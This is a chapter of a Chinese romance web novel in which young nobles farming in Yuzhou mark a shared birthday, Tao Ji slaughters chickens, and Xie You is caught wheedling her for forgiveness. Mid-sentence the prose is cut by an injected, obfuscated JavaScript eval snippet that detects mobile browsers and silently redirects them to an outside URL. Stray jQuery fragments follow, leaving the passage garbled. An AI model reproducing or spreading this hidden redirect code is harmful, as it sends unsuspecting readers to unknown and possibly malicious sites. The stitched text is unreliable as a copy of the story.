夏雨绵绵，说话间，二人的发梢都洇了些水汽。


    少年将脸撇去一边忍笑，哪里还见半点烦闷，心上人的醋意叫他挑起眉梢，唇也扬得高高的。


    “谁要做你夫人！”陶霁嗔他一眼，一拳砸在他的胸口，分明是想斥他几句，话从嘴里飘出来，竟带了一丝娇憨。


    她倏地捂紧嘴。


    方才这声音，是她发出来的？


    气恼之下，她又推搡了把面前人的肩，擦一把面上的水珠，似逃又似恼羞成怒般，转身快步回了宅子。


    她力气向来大，谢栯被推得直直撞在翠竹上，他捂着肩轻‘嘶’一声，顿觉她的反应实在太过可爱，手还有一下没一下地在揉着肩，见她已走远，年轻人到底是没忍住，靠在翠竹上闭了闭眼，‘扑哧’一声笑了出来。


    ......


    在豫州的时日过得尤其快。


    此地风调雨顺，连那位官老爷都时常出城看看农田，问问附近的农户日子过得可还舒适，引得众人连连感叹从前在上京过的究竟是何等奢靡日子。


    前阵子的雷雨连着下了五日，随后匆匆迎来了热浪灼人的太阳，一群人帮衬着邹婶照看农田，四周的农户亦有偶尔忙不过来的时候，便也大大方方地叫众人到自家的农田来帮忙。


    这会儿刚回宅子里歇脚，纪珈芙出门前熬的那锅用来降火的凉茶也彻底冷了，庄之茉热得俏脸通红，连忙端了一盏凉茶捧在手里喝着。


    她从前在上京连沐浴时都会用牛乳，皮肤本就娇嫩又白皙，一连下了好几日的农田，此刻瞧着竟是五个姑娘里最黑的。


    纪珈芙一歇下来就有些犯困，她掀起眼皮瞥了眼庄之茉：“茉茉，方才你可听牛叔说了？”


    “五两银子就能叫豫州人过一年！”她神情夸张：“这些人当真是除了换几件新衣裳便没有地方花钱了，咱们从前在上京，出门一趟好说也要花上十两银子买那些个小玩意儿，更别说像珍宝斋那种地方，兜售的东西定价那么高，随随便便一支笔就得几十两......”


    庄之茉面上悻悻：“我身边的一等婢女月银都不止五两......”


    纪珈芙瘫在竹椅上翻了个身，回道：“嗐，咱们也算在豫州当了回普通百姓，这些日子的确没花上什么银子，只当是替家里省钱了。”


    见陶霁与蒋翎从后院拎着桶走来，纪珈芙来了精神，连忙起身与她二人一道在水井旁打水。


    陶霁掐了把她脸颊上的软肉，问：“纪大夫这几日累着了，可还记得今日是你的生辰？”


    纪珈芙脸一红，‘哎’了一声，这才后知后觉忆起这件事来。


    “哦？”林逸亭打趣道：“那咱们晚上是不是该去吃顿好的？”


    陆廷弈偷偷瞄了纪珈芙一眼，小声道：“我......我也是今日。”


    纪珈芙瞪大眼睛：“今日什么？你也是今日的生辰？？？”


    羞怯的少年顶着同伴的目光点了点头。


    纪珈芙‘哟呵’一声，语气俏皮：“这不是巧了么？我记得你与我同岁，咱俩竟是同年同月同日生？”


    这般巧合之事，众人只在话本上见过，什么‘同年同月同日生的二人结拜为兄妹又或是姐弟的’故事。


    葛修喜不自胜，连忙开口：“那岂不是晚上能吃两顿好的？”


    陶霁将水洒在几日前栽种的绣球上，她道：“方才牛叔叫住我，说晚些时候送几只自家养的鸡过来，外面池里的荷叶长势不错，想吃荷叶鸡么？”


    葛修眨眨眼：“谁会做？”


    陶霁回眸幽幽看他一眼。


    “你猜。”


    纪珈芙嘴馋，原本还背着众人暗暗数着荷包里的银钱，悄悄算着晚上若是去城里的酒楼请客得花多少钱，这会儿听见陶霁提起荷叶鸡，她杏眸转悠几圈，又将荷包系紧，装模作样地轻咳几声。


    “这才刚说完咱们在豫州没花什么银子呢，既入乡随俗，去酒楼用饭什么的就算了吧，那荷叶鸡我没吃过，但荷叶闻着挺香的，鸡肉想必也是鲜嫩可口......”


    “机会难得，不如待会儿就找邹婶借些铜架子，去外头那片竹林里烤东西吃？”


    陆廷弈没什么意见，闻言便赞同地点了点头。


    葛修小声嘀咕：“能好吃么......”


    说话间，门被敲响，牛叔正好提着几只还在扑腾翅膀的鸡过来。


    几只鸡的脚被细绳捆得紧紧的，仿佛是知晓即将进这些人的肚子里，扑腾得格外厉害，连‘咯咯’的叫声都有些凄厉。陶霁离得近，她在牛叔的手里接过鸡后，又乖巧地向牛叔道了谢，这才重新将门关上。


    鸡扑腾得厉害，陶霁双手各抓两只鸡，幽幽进了厨屋。


    下一刻，厨屋里寒光一闪，众人只觉里面那些鸡的叫唤声似是小了些，听起来没那般聒噪了。


    随即又传来脚步声，她倚在了厨屋门口，手中的鸡头已不见踪影，她右手端着瓷碗，正倒提着那只鸡往碗里放血。


    一直盯着她的世子爷后背一凉。


    葛修觉得不可思议：“你这就将鸡杀了？？？”


    陶霁做无辜状看向他，倏地勾唇：“方才不是你说这鸡不知到底好不好吃么？”


    她笑得明媚，令众人浑身汗毛直立。


    “我杀一只给你尝尝。”


    ......


    纪珈芙与陆廷弈生辰在同一日这件事被邹婶得知，她连连抚掌赞叹妙哉，将自家的铜架子借给他们后，嘴里就嚷嚷着‘不吃面怎么行’，转而又招呼邹家大郎去农田里掐点新鲜的蔬菜回来。


    方才被陶霁阴恻恻的模样吓住，葛修拽着林逸亭与柯浔言进了城买肉，庄之茉与傅书芩，还有蒋翎，则是悻悻提着篮子去了池边摘荷叶。


    寿星自然不用做些什么。


    只剩谢栯一人无所事事，他站在院子里，不停地用余光去瞥陶霁，后者正神色认真地蹲在厨屋门口将鸡开膛破肚。


    “陶......”年轻人心中发怵：“陶陶，我能帮忙么？”


    陶霁手下动作一顿，将菜刀一扔：“你来，没盐了，我去抓把盐。”


    叫他处理这已经剖了半边肚子的鸡？


    谢栯这会儿是真的畏惧上陶霁了，他脑中不知怎地想起他爹哄他娘的模样来。


    那会儿他还小，他爹谢韫亦是意气


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15203143|162058||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    风发的年轻男子，有日他娘被他爹惹得怒上心头，一连数日都将他爹拒之门外，他还是半夜睡不着在府中瞎溜达才撞见那一幕呢。


    花圃里，他爹摆出一副不值钱的委屈模样，眸中悬着晶莹泪滴，竟还发出嗲声嗲气的声音。


    他爹捉住他娘那双柔荑，泪眼婆娑地睁大眼睛看向她，委屈道：“夫人，我知错了，别再罚我了呗......”


    “我罚了你什么？”他娘的声音听着很冷。


    “我保证，”他爹掐着嗓子：“我定不会再犯那等错误，我若再犯，就叫我......”


    后面的话他没好意思去听，因为他娘三两下就被哄好了。他爹就着月色捉住他娘的手就亲，他年纪小，那会儿不知道两个人的嘴唇贴在一起是做什么，但他爹娘那模样显然是比平日里在他面前要亲密许多的，他只好捂着眼睛悄悄溜走。


    思绪间，谢栯想着，不如他也学学他爹的做派？


    陶霁那夜的醋意来得快去得也快，可不知是她羞了还是气恼他不该笑，后来这些时日总对他冷冰冰的呢。


    见纪珈芙与陆廷弈都回寝屋了，谢栯飞快跟着陶霁去了拐角，陶霁恰好重新装了一罐盐，正往回走，见他跟了过来，她侧目：“不是说要干活么？不管鸡了？”


    谢栯抿唇，在心底替自己鼓了鼓气，再抬眸时，就刻意将那双原本就倨傲的眸子睁得圆圆的。


    他想了些从前被陶霁拒之千里的事，好一会儿才察觉到鼻酸，他连忙抓紧机会，挤出一滴泪，往前迈了一步，将自己明朗又清冽的声线抬到最高。


    “陶陶，别生我的气了。”


    陶霁双手揣着那罐盐，神色有些古怪。


    世子爷见她没反应，又上前一步，勾住她的衣袖晃了晃，半是委屈半是撒娇般开口：“都是我的错，我不该笑你，别再对我冷冰冰的，行不行？”


    身后传来脚步声，陶霁飞快地瞥了门口一眼，轻咳一声，倏地甩开了他的手，小声道：“先去杀鸡，之后再说。”


    谢栯见她松了口，心中一喜，顿觉学他爹那不值钱的模样简直妙哉，他将眼睛睁得再大些，拖长语调：“不生气了？”


    陶霁抿着唇没说话。


    谢栯还想再说几句，身侧传来的声音却叫他如遭雷击般僵在原地。


    “世子......”


    林逸亭、柯浔言还有葛修不知何时去而复返，怀里抱着好些个油纸包，眼睛一眨不眨地盯着他。蒋翎几人也提着篮子站在门外，除了纪珈芙与陆廷弈在寝屋里，余下六人都见到了他谢栯发着嗲求陶霁原谅自己的模样。


    谢栯颤颤收回手，闭了闭眼。


    下一刻，如晚霞般的红云从他脸颊直直爬进了衣襟里，年轻人断然没想过自己这般不值钱的模样会被同伴瞧见，他一时有些不能接受，竟站在原地半晌都没有动作。


    陶霁亦有些脸红，她走也不是留也不是，倘若此刻无人，她兴许就顺势让谢栯再说几句了。


    可有时就是这般巧，见门口那几人嘴角的笑险些快憋不住，她握着罐子的手陡然收紧，咬牙切齿地开口。


    “谢栯，你到底还杀不杀鸡？”